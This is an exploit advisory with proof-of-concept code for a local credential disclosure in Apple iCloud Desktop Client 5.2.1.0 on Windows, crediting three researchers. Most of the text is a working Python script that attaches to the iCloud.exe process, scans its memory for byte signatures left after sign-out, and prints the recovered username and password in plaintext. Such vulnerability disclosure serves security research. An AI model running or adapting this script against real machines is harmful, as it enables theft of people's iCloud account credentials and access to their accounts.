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Apple iCloud Desktop Client 5.2.1.0 - Local Credentials Disclosure
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来源：http://www.black-rose.ml 作者：Wizman 发布时间：2016-09-09
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#####
# Apple iCloud Desktop Client v5.2.1.0 Local Credentials Disclosure After Sign Out Exploit
# Tested on Windows Windows 7 64bit, English
# Vendor Homepage @ https://www.apple.com/
# Product Homepage @ https://support.apple.com/en-us/HT204283
# Date 07/09/2016
# Bug Discovery by:
#
# Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
# http://www.black-rose.ml
#
# Viktor Minin (https://www.linkedin.com/in/MininViktor)
# https://1-33-7.com/
#
# Alexander Korznikov (https://www.linkedin.com/in/nopernik)
# http://korznikov.com/
#
#####
# Apple iCloud Desktop Client v5.2.1.0 is vulnerable to local credentials disclosure after the user is logged out.
# It seems that iCloud does not store the supplied credentials while the user is logged in, but after sign out the supplied username and password are stored in a plaintext format in memory process.
# Funny eh?!
# A potential attacker could reveal the supplied username and password in order to gain access to iCloud account.
#
# Authors are not responsible for any misuse or demage which caused by use of this script code.
# Please use responsibly.
#####
# Proof-Of-Concept Code:
import time
import urllib
from winappdbg import Debug, Process
def b2h(str):
return ''.join(["%02X " % ord(x) for x in str]).strip()
def h2b(str):
bytes = []
str = ''.join(str.split(" "))
for i in range(0, len(str), 2):
bytes.append(chr(int(str[i:i+2], 16)))
return ''.join(bytes)
usr = ''
pwd = ''
found = 0
filename = "iCloud.exe"
process_pid = 0
memory_dump = []
debug = Debug()
try:
print "#########################################################################"
print "#\tApple iCloud v5.2.1.0 Local Credentials Disclosure Exploit\t#"
print "# Bug Discovery by Yakir Wizman, Victor Minin, Alexander Korznikov\t#"
print "#\t\tTested on Windows Windows 7 64bit, English\t\t#"
print "#\t\t\tPlease use responsibly.\t\t\t\t#"
print "#########################################################################\r\n"
print "[~] Searching for pid by process name '%s'.." % (filename)
time.sleep(1)
debug.system.scan_processes()
for (process, process_name) in debug.system.find_processes_by_filename(filename):
process_pid = process.get_pid()
if process_pid is not 0:
print "[+] Found process with pid #%d" % (process_pid)
time.sleep(1)
print "[~] Trying to read memory for pid #%d" % (process_pid)
process = Process(process_pid)
for address in process.search_bytes('\x88\x38\xB7\xAE\x73\x8C\x07\x00\x0A\x16'):
memory_dump.append(process.read(address,50))
try:
str = b2h(memory_dump[0]).split('88 38 B7 AE 73 8C 07 00 0A 16')[1]
usr = h2b(str.split(' 00')[0])
except:
pass
memory_dump = []
for address in process.search_bytes('\x65\x00\x88\x38\xB7\xAE\x73\x8C\x07\x00\x02\x09'):
memory_dump.append(process.read(address,60))
try:
str = b2h(memory_dump[0]).split('07 00 02 09')[1]
pwd = h2b(str.split(' 00')[0])
except:
pass
if usr != '' and pwd !='':
found = 1
print "[+] iCloud Credentials found!\r\n----------------------------------------"
print "[+] Username: %s" % usr
print "[+] Password: %s" % pwd
if found == 0:
print "[-] Credentials not found!"
else:
print "[-] No process found with name '%s'." % (filename)
debug.loop()
finally:
debug.stop()
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